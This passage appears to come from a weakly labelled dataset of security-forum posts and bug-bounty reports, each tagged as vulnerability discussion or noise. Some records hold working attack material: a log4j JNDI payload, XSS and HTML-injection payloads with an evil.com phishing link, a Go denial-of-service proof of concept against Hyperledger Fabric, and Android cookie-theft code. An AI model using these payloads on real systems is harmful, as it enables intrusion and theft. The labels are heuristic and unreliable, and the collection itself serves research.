ORCA\n[*] Property\n[*] RMD\n[*] ██████████\n[*] tempdb\n[*] TSD\n[*] Unemployment\n[*] VMS_Test\n[*] W2DATA\n```\n\n## Impact\n\nData exfiltration through a SQLi attack could lead to reputational damage or regulatory fines for the business due to an attacker’s unauthorized access to data. This could also result in reputational damage for the business through the impact to customers’ trust. The severity of the impact to the business is dependent on the sensitivity of the data being stored in, and transmitted by the application.\nLeak sensitive data on █████████ service.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "df79cfab8fe493fac3a4", "text": "StationX – 1 May 20 Nmap Cheat Sheet Example IDS Evasion command", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-04-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a01dae5dde965894f329", "text": "[Privilege Escalation] Context isolation bypass via nested unserializable return value\n\nThis issue is exploitable under either of two conditions:\n\n* If an API exposed to the main world via contextBridge can return an object or array that contains a JS object which cannot be serialized, for instance, a canvas rendering context. This would normally result in an exception being thrown `Error: object could not be cloned`.\n* If an API exposed to the main world via contextBridge has a return value that throws a user-generated exception while being sent over the bridge, for instance a dynamic getter property on an object that throws an error when being computed.\n\nIn both of these cases the context that receives the exception may be able to (via the exception) obtain privileged access to the context on the other side of the bridge.\n\n## Impact\n\nThis is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "403ca14be3b283770165", "text": "As the Gattsu mentioned above, the problem is PHP code. Try to simplify it, how could you execute ls command within PHP without passing it through parameter?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-04-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e58bf9c20c3e0b77e2b8", "text": "I’ve solved most of JET but am stuck on Elasticity, anyone know how to fix it? You can also DM me if you have problems with the previous flags", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cc92341925df7a611f58", "text": "[Use of Externally-Controlled Format String] ██████████ running a vulnerable log4j\n\n**Description:**\n\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228\n\n## Impact\n\nProbably arbitrary code execution\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-44228\n\n## Steps to Reproduce\n1. Browse to https://████████/███████https%3A%2F%2F█████████%2F\n2. Enter a `${jndi:ldap://dns-server-yoi-control/a}` into the username field\n3. Enter a random password\n4. Submit\n\nObserve that a request was made to your DNS server. This strongly suggests a vulnerable log4j.\n\n## Suggested Mitigation/Remediation Actions\nUpdate log4j or disable jndi support.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2021-44228"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "76dbd80f360012951cc1", "text": "You’re almost there. You don’t really need the part after the base64 code (%26from=51459716.txt%26finish=1%26move=1 After to= the encoding is incorrect. Try %7c***bash<<< instead. (Replace *** with the encoded characters). You don’t have to encode <<< either.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fe40f4e622ad58d84d06", "text": "[Improper Authentication - Generic] Bypass for forced re-authentication upon biometrics change\n\nVerified in Android, might also apply for iOS\nThis description requires 2 accounts, here called the primary and the secondary vault. \n\n1. Sign in to the Bitwarden app with the primary account and enable biometric unlock\n2. Make sure the app is locked (e.g. by force killing the app)\n3. Enroll a new fingerprint\n4. As per [GH-1026](https://github.com/bitwarden/mobile/pull/1026), `BiometricIntegrityValid` will now be false and hence the app will display \"Biometric unlock disabled pending verification of master password\"\n5. Add the secondary account following the regular procedure (and enable biometric unlock)\n6. Attempt to switch to the primary vault; note that it still does not allow biometric unlock\n7. Force kill the app making sure both vaults are locked\n8. Switch back to the secondary vault and unlock it\n9. From the secondary vault, switch to the primary vault and note how it is possible to unlock it using biometrics\n\n## Impact\n\nChanging biometric options, for example enrolling extra fingerprints should prompt for re-authentication according to the integrity checks implemented in [GH-1026](https://github.com/bitwarden/mobile/pull/1026) and [GH-1093](https://github.com/bitwarden/mobile/pull/1093).\n\nThis vulnerability allows bypassing those integrity checks if the following three conditions are met:\n1. The attacker has physical access to the phone and is able to unlock the phone\n2. The user has enabled biometrics unlock\n3. The attacker has any valid Bitwarden account (including selfhosted)\n\nUpon gaining access to the vault, export is not possible because the master password is required, but it is possible to view and delete all passwords the user has access to. It is also possible to enable device login if that was not enabled yet and gain access to the vault on a desktop computer.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "538f331ddd740786dfef", "text": "thanks g i was stuck there a min or 2 but i don’t get why i must subtracted 1 for the first number", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-09-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "947a04daba3862bd5ddf", "text": "If there is still an opening, I’d like a chance to join. I have been doing most of this stuff solo, would love to get more involved. DM me if this is still available.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0393f5d9c51f55c4aa13", "text": "[Code Injection] HTML injection on newsroom.snap.com/* via search?q=1\n\nHi security team members,\n\nHope you are well!\n\nI found an unauthenticated HTML injection in the browser of NewRooms section: https://newsroom.snap.com/[code_country]/*. It is possible to inject any HTML code from the \"?q=\" parameter of the following endpoints newsroom.snap.com/[code_country]/search?q= since the text input in the search engine is not sanitized at all.\n\nThe steps to reproduce the attack are:\n\n1. Inject any HTML code into the URL: https://newsroom.snap.com/es-ES/search?q=%3Ca%20style=%22position:absolute;margin:50px;%20background-color:%20yellow;%20z-index:1000;top:50px;padding:100px;font-weight:bold;font-size:45px;color:red;%22%20href=%22https://evil.com%22%3EClick%20here%20for%20win%201000%E2%82%AC!%3C/a%3E\n\n2. In this PoC example, an attacker would send this seemingly legitimate URL to victims pretending that Snapchat is offering money as an excuse. In reality, these users would access the attacker's website (https://evil.com/) if they click on the <a></a> element.\n\n## Impact\n\nAn attacker can inject as much HTML code as desired and edit the style of the website to cause a Defacement in order to deceive users through Phishing, links to other websites controlled by the attacker through scams,... . There are many scenarios .", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aeab45c50a9dcd6ec71d", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS via `████████` parameter\n\nHello everyone,\n\nI came across a page that allows users to subscribe to certain forum posts at `https://███` I noticed that the `████` parameter is reflected in the Page without filtering dangerous characters such as `< > ` except the = character which is filtered by default, but this can be circumvented by encoding it `=   ====>  %3d `, however the precedent page is vulnerable to Reflected XSS:\n\n```\nPOST /██████_█████████=1&█████████=test HTTP/1.1\nHost: ███\nCookie: █████\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 101\nOrigin: https://███████\nAuthorization: Basic ....\nReferer: https://███████\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\n__Click=0&activeFlag=Y&%25%25Surrogate_██████=1&██████████=<img src%3dx onerror%3dalert(document.domain)>\n```\n\nThe above HTTP request leads to an alert pop-up confirming the XSS issue:\n\n█████████\n\nAlso the cookies aren't protected by using `HttpOnly` security flag, so cookies can be grabbed using a simple payload such as `<img src=%3d onerror%3dalert(document.cookie)`:\n\n████\n\n## Impact\n\nCookies theft, Open Redirect, phishing via arbitrary iframes etc..\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to https://██████ (You must be authenticated).\n2. Click on `Submit`, then Intercept the request with Burp Suite, change the `█████` parameter's value to `<img src%3dx onerror%3dalert(document.cookie>`\n3. You'll see an alert pop-up showing your logged-in cookies.\n\n## Suggested Mitigation/Remediation Actions\nsanitizing dangerous characters by returning their equivalent HTML entities (see htmlspecialchars() function in PHP).", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f4cd1cd703a01fdbef32", "text": "[Uncontrolled Resource Consumption] Remote denial of service in HyperLedger Fabric\n\nHow to reproduce\n1.Bring up the test network.(https://hyperledger-fabric.readthedocs.io/en/latest/test_network.html#bring-up-the-test-network)\n2.Run the PoC.\n```bash\ngo run poc.go -server=192.168.0.208:7051\n```\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"flag\"\n\t\"fmt\"\n\n\t\"github.com/hyperledger/fabric-protos-go/gateway\"\n\t\"github.com/hyperledger/fabric-protos-go/peer\"\n\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials\"\n)\n\nfunc main() {\n\n\tvar srv string\n\tflag.StringVar(&srv, \"server\", \"localhost:7050\", \"The RPC server to connect to.\")\n\n\tflag.Parse()\n\n\tconfig := &tls.Config{\n\t\tInsecureSkipVerify: true,\n\t}\n\n\tconn, err := grpc.Dial(srv, grpc.WithTransportCredentials(credentials.NewTLS(config)))\n\t\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\tif err != nil {\n\t\tfmt.Println(\"Error connecting:\", err)\n\t\treturn\n\t}\n\n\n\tpayload := &gateway.EvaluateRequest{}\n\n\n\tpayload.ProposedTransaction = &peer.SignedProposal{}\n\n\n\n\tresp, err := gateway.NewGatewayClient(conn).Evaluate(context.TODO(), payload)\n\tif err != nil {\n\t\tfmt.Println(\"Error connecting:\", err)\n\t\treturn\n\t}\n\n\n\tfmt.Println(\"resp:\", resp)\n\n}\n\n```\n3.Crash.\n```log\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x157d6c7]\n\ngoroutine 381927 [running]:\ngithub.com/hyperledger/fabric/internal/pkg/gateway.getChannelAndChaincodeFromSignedProposal(0x0?)\n        /go/src/github.com/hyperledger/fabric/internal/pkg/gateway/apiutils.go:49 +0xe7\ngithub.com/hyperledger/fabric/internal/pkg/gateway.(*Server).Evaluate(0xc0001dd3e0, {0x1b55c58?, 0xc00359aa80}, 0xc003470600)\n        /go/src/github.com/hyperledger/fabric/internal/pkg/gateway/api.go:43 +0x85\ngithub.com/hyperledger/fabric-protos-go/gateway._Gateway_Evaluate_Handler.func1({0x1b55c58, 0xc00359aa80}, {0x18ed0a0?, 0xc003470600})\n        /go/src/github.com/hyperledger/fabric/vendor/github.com/hyperledger/fabric-protos-go/gateway/gateway.pb.go:1176 +0x78\ngithub.com/hyperledger/fabric/internal/peer/node.unaryGrpcLimiter.func1({0x1b55c58, 0xc00359aa80}, {0x18ed0a0, 0xc003470600}, 0x195a8d5?, 0xc003400210)\n        /go/src/github.com/hyperledger/fabric/internal/peer/node/grpc_limiters.go:49 +0x38e\ngithub.com/grpc-ecosystem/go-grpc-middleware.ChainUnaryServer.func1.1.1({0x1b55c58?, 0xc00359aa80?}, {0x18ed0a0?, 0xc003470600?})\n        /go/src/github.com/hyperledger/fabric/vendor/github.com/grpc-ecosystem/go-grpc-middleware/chain.go:25 +0x3a\ngithub.com/hyperledger/fabric/common/grpclogging.UnaryServerInterceptor.func1({0x1b55c58, 0xc00359a810}, {0x18ed0a0, 0xc003470600}, 0xc000308420, 0xc000308440)\n        /go/src/github.com/hyperledger/fabric/common/grpclogging/server.go:92 +0x305\ngithub.com/grpc-ecosystem/go-grpc-middleware.ChainUnaryServer.func1.1.1({0x1b55c58?, 0xc00359a810?}, {0x18ed0a0?, 0xc003470600?})\n        /go/src/github.com/hyperledger/fabric/vendor/github.com/grpc-ecosystem/go-grpc-middleware/chain.go:25 +0x3a\ngithub.com/hyperledger/fabric/common/grpcmetrics.UnaryServerInterceptor.func1({0x1b55c58, 0xc00359a810}, {0x18ed0a0, 0xc003470600}, 0x7f0fb3c94a38?, 0xc000308460)\n        /go/src/github.com/hyperledger/fabric/common/grpcmetrics/interceptor.go:31 +0x17b\ngithub.com/grpc-ecosystem/go-grpc-middleware.ChainUnaryServer.func1.1.1({0x1b55c58?, 0xc00359a810?}, {0x18ed0a0?, 0xc003470600?})\n        /go/src/github.com/hyperledger/fabric/vendor/github.com/grpc-ecosystem/go-grpc-middleware/chain.go:25 +0x3a\ngithub.com/grpc-ecosystem/go-grpc-middleware.ChainUnaryServer.func1({0x1b55c58, 0xc00359a810}, {0x18ed0a0, 0xc003470600}, 0xc000521ae0?, 0x17ab820?)\n        /go/src/github.com/hyperledger/fabric/vendor/github.com/grpc-ecosystem/go-grpc-middleware/chain.go:34 +0xbf\ngithub.com/hyperledger/fabric-protos-go/gateway._Gateway_Evaluate_Handler({0x189b040?, 0xc0001dd3e0}, {0x1b55c58, 0xc00359a810}, 0xc0034705a0, 0xc0001f0720)\n        /go/src/github.com/hyperledger/fabric/vendor/github.com/hyperledger/fabric-protos-go/gateway/gateway.pb.go:1178 +0x138\ngoogle.golang.org/", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c20fd0fec57f8fa88dcb", "text": "how to pentest a CISCO ISR 4331 with routersploit, or any other tool\n\nHey there I’m trying to pentest a CISCO ISR 4331 using routersploit. But this model of router is not on the list of routers routersploit has available to exploit. when I try running routersploit running the autopwn on this router I just get the following results. All creds and routers “not vulnerable” except these ones below. “IP” Could not verify exploitability : http exploits/routers/asus/asuwart_lan_rce http exploits/routers/shuttle/915wm_dns_change http exploits/routers/netgear/dgn2200-dnslookup_cgi_rce custom/tcp exploits/routers/cisco/catalyst_2960_rocem http exploits/routers/cisco/secure_acs_bypass http exploits/routers/dlink/dsl_2730b_2780b_526b_dns_change http exploits/routers/dlink/dsl_2640b_dns_change http exploits/routers/dlink/dsl_2740r_dns_change custom/udp exploits/routers/dlink/dir_815_850l_rce http exploits/routers/billion/billion_5200w_rce http exploits/routers/3com/officeconnect_rce I’m having trouble finding YouTube video or manual that explain how to properly investigate these links that cannot be verified. I also get mixed signals from these links even they they are not the same models as my router. After exploring all the options while writing this question Im pretty sure none if them can be used to pen test a CISCO 4331 ISR so any links or advice on how i can do this with routersploit or any other program would be appreciated.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-10-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dae9747cb8f1e4fe5c27", "text": "Apt list --installed | wc When I tried to enter -1 or -| The system didn’t recognize the command Edit: (in the next section, the specify it as “-l” AKA lowercase L. Didn’t get to try that one) The output also listed 3 numbers: 738 2949 55881 Subtracted 1 from the first number and got the answer, though I still don’t know why 3 numbers were listed. Also, I’d love to know how to use this information in a theoretical attack", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "508b083a82904e738015", "text": "BoxBuster: arry is 1337. If you know you know. You need to use the user name you have VERY recently used", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "488a987988c8fe1e9ec4", "text": "SS7 is impossible Withoud Hackrfone Hardware Device do you have this device??", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-08-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3ef86a6792ab0aba5767", "text": "[Unknown] Yet another SSRF query for Javascript\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bbd33bb0dd020901e3a6", "text": "Supplementary details: Observe each parameter mentioned in “ Login Form Attacks” in combination with “ Login Form Attacks”… (At least that’s how I passed…Mentality will affect thinking, so please be patient!)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3fb55eaf5d83d8b6cd63", "text": "[Unknown] JavaScript: Add some new XSS sinks and sources of Next.js (and some extra improvements)\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3bd41b470ee94567235b", "text": "[Unknown] [Java]: CWE-552 Add sources and sinks to detect unsafe getResource calls in Java EE applications\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "24474d4f51e2d1a2f468", "text": "[Cross-site Scripting (XSS) - Reflected] stand.pw.mail.ru xss\n\nhttp://stand.pw.mail.ru:9100/news.php?archive=news&type=last\"><sCrIpT>alert(1)</sCrIpT>&page=1\n\npayload is:\"><sCrIpT>alert(1)</sCrIpT>\n\n## Impact\n\nCan steal Cookie, Can run javascript code, and get information sensitive", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e1a1044be3e1f11873eb", "text": "[Business Logic Errors] Able to approve admin approval and change effective status without adding payment details .\n\n## Summary:\n\nIn https://ads.reddit.com/ you can create campaign under which you can create ads , once you create new campaign , it is on pending stage and will not be delivered unless you add payment details and is reviewed by admin and approved according to what it says here https://advertising.reddithelp.com/en/categories/ad-review/about-reddits-ad-review-process . But changing the value of admin_approval to APPROVED and effective_status to ACTIVE , the ads is approved and thus we receive the confirmation email from reddit ads that our ads is approved .\n\n## Impact:\nCan bypass the review process and change the ads status to approve and active without payment process .\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. Create a campaign from https://ads.reddit.com \n  1. Go to https://ads.reddit.com/dashboard, you will see a table list that shows your ads and campaign , there the status is stated as PENDING . And we know according to what reddit says , our ads needs to get reviewed by reddit members , but updating the value from api changes our status to ACTIVE . Hence ad is successfully delivered . \nPOC video is attached . \n\n███████\n\n```\nPATCH /api/v2.0/accounts/█████/ads/██████████ HTTP/2\nHost: ads-api.reddit.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://ads.reddit.com/\nAuthorization: bearer token\nContent-Type: application/json\nOrigin: https://ads.reddit.com\nContent-Length: 101\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-site\nX-Pwnfox-Color: magenta\nTe: trailers\n\n{\"data\":\n{\"configured_status\":\"ACTIVE\",\n\"effective_status\":\"ACTIVE\",\n\"admin_approval\":\"APPROVED\"\n}}\n\n```\n\n## Supporting Material/References:\n\n\n  * [attachment / reference]\n\n## Impact\n\nCan bypass the review process and change the ads status to approve and active without payment process .", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "089317a8426d4724af4e", "text": "I found a way to move files, I can even move .php into /tmp folder, however the app is not allowing me to move /flag.txt at all, I can jump back and forward into directories and move index.php at will, but not /flag.txt, it is frustrating", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1d4f6951236ed01e2ec4", "text": "[Plaintext Storage of a Password] Mail app stores cleartext password in database until OAUTH2 setup is done\n\n## Summary:\n\nThe Mail app usually stores the user password encrypted. For XOAUTH2 the encrypted access token is stored in the same columns. However, during the time of the setup, XOAUTH2 accounts have the password in clear text in the database.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  0. Configure Gmail Oauth client ID and secret as Nextcloud admin\n  1. Open the Mail app\n  2. Open the setup page\n  3. Enter values for display name\n  4. Enter a random value for the password\n  5. Enter the gmail address\n\n-> password field hides\n\n  6. Continue the setup\n\nOnce the Gmail consent popup shows, look into oc_mail_accounts and the last entry.\n\ninbound_password and outbound_password have the random value entered for the password.\n\n## Supporting Material/References:\n\n  * N/A\n\n## Impact\n\nA DBA could read the plaintext password", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "753201c8ff009346cf65", "text": "[Improper Access Control - Generic] [com.exness.android.pa Android] Universal XSS in webview. Lead to steal user cookies\n\n**Details:**\nPackage: com.exness.android.pa\nName: Exness\nVersion: 1.7.5-real-release\n\n\n**Description**: Third-app may use exported activity to load any url in internal webView. This leads to steal cookies used in trading app, including  cookies of payment system\n\n**Vulnerability description:**\nApplication has exported activity:\n```java\n        <activity android:name=\"com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackActivity\" android:screenOrientation=\"locked\" android:windowSoftInputMode=\"adjustResize\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\"/>\n            </intent-filter>\n        </activity>\n```\nThis activity get 2 extra string from intent:\n``` java\n       public void onCreate(Bundle bundle) {\n        super.onCreate(bundle);\n        Intent intent = getIntent();\n        this.aKn = intent.getStringExtra(\"smSPageHTML\");\n        this.aKq = intent.getStringExtra(\"smSPageURL\");\n        if (this.aKn == null) {\n            this.aKr = chn.m7508a(C3298a.ERROR_CODE_COLLECTOR_CLOSED, null);\n            Log.d(\"SM_SDK_DEBUG\", this.aKr.getDescription());\n            mo19074b(this.aKr); \n        } else if (bundle == null) {\n            getSupportFragmentManager().beginTransaction().add(16908290, chi.m12362c(this.aKq, this.aKn, true), chi.TAG).commit();\n        }\n    }\n```\nThen, the activity passes these strings to function chi.m12362c. This function create an intent of class chi (public class chi extends Fragment):\n```java\n    public static chi m12362c(String str, String str2, boolean z) {\n        chi chi = new chi();\n        Bundle bundle = new Bundle();\n        bundle.putString(\"smSPageURL\", str);\n        bundle.putString(\"smSPageHTML\", str2);\n        bundle.putBoolean(\"smHasLoadedSPageHTML\", z);\n        chi.setArguments(bundle);\n        return chi;\n    }\n```\nThen created intent will executed.\nFunction onCreate of class chi:\n```java\npublic void onCreate(Bundle bundle) {\n        super.onCreate(bundle);\n        this.aKo = false;\n        this.aKp = false;\n        this.aKn = null;\n        Bundle arguments = getArguments();\n        if (arguments != null) {\n            this.aKq = arguments.getString(\"smSPageURL\");\n            this.aKo = arguments.getBoolean(\"smHasLoadedSPageHTML\");\n            if (this.aKo) {\n                this.aKn = arguments.getString(\"smSPageHTML\");\n                m12353Gc(); // <-- pass to this function\n                return;\n            }\n            new C48221().execute(new String[]{this.aKq});\n        }\n    }\n\n```\n\nAfter pass checks, strings of intent used in function m12353Gc:\n```java\n    public void m12353Gc() {\n        if (getView() != null) {\n            this.aKv = ProgressDialog.show(getActivity(), null, getString(C3294c.sm_loading_status));\n            this.aKp = true;\n            this.mWebView = (WebView) getView().findViewById(C3292a.sm_feedback_webview);\n            this.mWebView.getSettings().setJavaScriptEnabled(true);\n            this.mWebView.setWebViewClient(new C3296b(this, null));\n            this.mWebView.loadDataWithBaseURL(this.aKq, this.aKn, null, \"UTF-8\", null);\n        }\n    }\n```\nIn this way we load any url with our html code.\n\n**Summary:**\nThird app create intent with extra:\nsmSPageHTML - loaded html\nsmSPageURL - url context of webview\nThen the Exness application will execute this html code on a background of activity where user need to enter his security code.\n\n**Steal cookies:**\nThis actions does not require root priv.\n\nThird app can create a symlink to cookie file. We use extention html because when it loads in webview, content of this file was interpreted as html:\n\n```java\ntry {\n            Runtime.getRuntime().exec(\"ln -s /data/data/com.exness.android.pa/app_webview/Cookies /data/data/pwn.pwn/pwn.html\").waitFor(); // create symlink to Cookie file\n            Runtime.getRuntime().exec(\"chmod 777 -R /data/data/pwn.pwn/\").waitFor(); //set access to everyone\n        } catch (Exception e) {\n            e.printStackT", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4606c7eec9365a8727f2", "text": "[Cross-site Scripting (XSS) - Generic] Universal XSS through FIDO U2F register from subframe\n\n## Summary:\n\nThere are three weaknesses in Brave's FIDO U2F implementation.\n\n* `u2f.register()` can be executed from cross-origin subframe by invoking [U2F.postMessage](https://github.com/brave/brave-ios/blob/e52c52495aa654584abe8172d689977756e6549d/Client/Frontend/UserContent/UserScripts/U2F.js#L264) directly\n* Then, FIDO related modals show the name of top frame origin (but not caller subframe)\n* The `version` parameter sent from the above `postMessage` is embedded in an [evaluateJavaScript](https://github.com/brave/brave-ios/blob/d01b8c07b8a6244af48798efe4afeccd266707e2/Client/WebAuthN/U2FExtensions.swift#L1003) without escape\n\nThe combination of these weaknesses allows cross-domain subframe to inject any JavaScript code to the top frame through fake U2F registration process.\n## Products affected: \n\n * Brave iOS Version 1.20 (20.09.11.20), also current Nightly\n\n## Steps To Reproduce:\n\n* Open [UXSS Victim](https://alice.csrf.jp/brave/uxss_victim.php) hosted on alice.csrf.jp.\n  This site has a cross-origin iframe that opens evil.csrf.jp.\n* Ready to Scan dialog is shown with the name of top frame\n* Insert your FIDO device such as YubiKey 5Ci and touch\n* Injected JavaScript `alert()` is executed on the top frame\n\n## Supporting Material/References:\n\n  * See attached movie file for the demonstration\n\n## Impact\n\nAs written in summary, malicious web content in subframe can UXSS on the top frame origin.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "31273e7ed577d5dc0fc0", "text": "[Cross-site Scripting (XSS) - Reflected] XSS on https://██████/███ via █████ parameter\n\nPoC\n```\nhttps://██████████/███████████=███████\"><details%00open%00ontoggle=alert()>\n```\n████████\n\n## Impact\n\nXSS at https://█████████/\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nGo to https://████/██████████████████=████\"><details%00open%00ontoggle=alert()>\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3849225a349cc266da4d", "text": "[Unknown] Information disclosure ( Google Sales Channel )\n\nIn the review on apps.shopify.com the Google sales channel has a review of 5407 but the actual number of shopify stores that use the Google channel I believe is more than that number so I think this vulnerability can have an impact on many shopify stores and here I found a vulnerability where attackers can exploit every shopify store that has a Google Sales channel even though the store is in Password protection\n\n1. Install google channel at your-store.myshopify.com\n2. Enable password protection at your-store.myshopify.com\n3. Add new product in shopify store\n4. Now go to this link : google-shopping.shopifycloud.com/shopify/products?shop=your-store.myshopify.com&id=PRODUCT ID&locale=en\nChange PRODUCT ID with your shopify product id\n5. Now in the response you will see information disclosure in the form of data-channel-id and data-user-email\n\n```\ndata-channel-id=\"70715703461\"\ndata-user-email=\"VICTIMEMAIL@gmail.com\"\n```\n\nEven though the shopify store which is in a password protected state is very private, but in this vulnerability the attacker can still find out sensitive information from the shopify store which is in a password protected state.\nStores that do not have a password protected are easier to exploit because attackers can get the product id of the victim's store\n\n## Impact\n\nVulnerabilities that allow attackers to get sensitive information from victim stores", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": 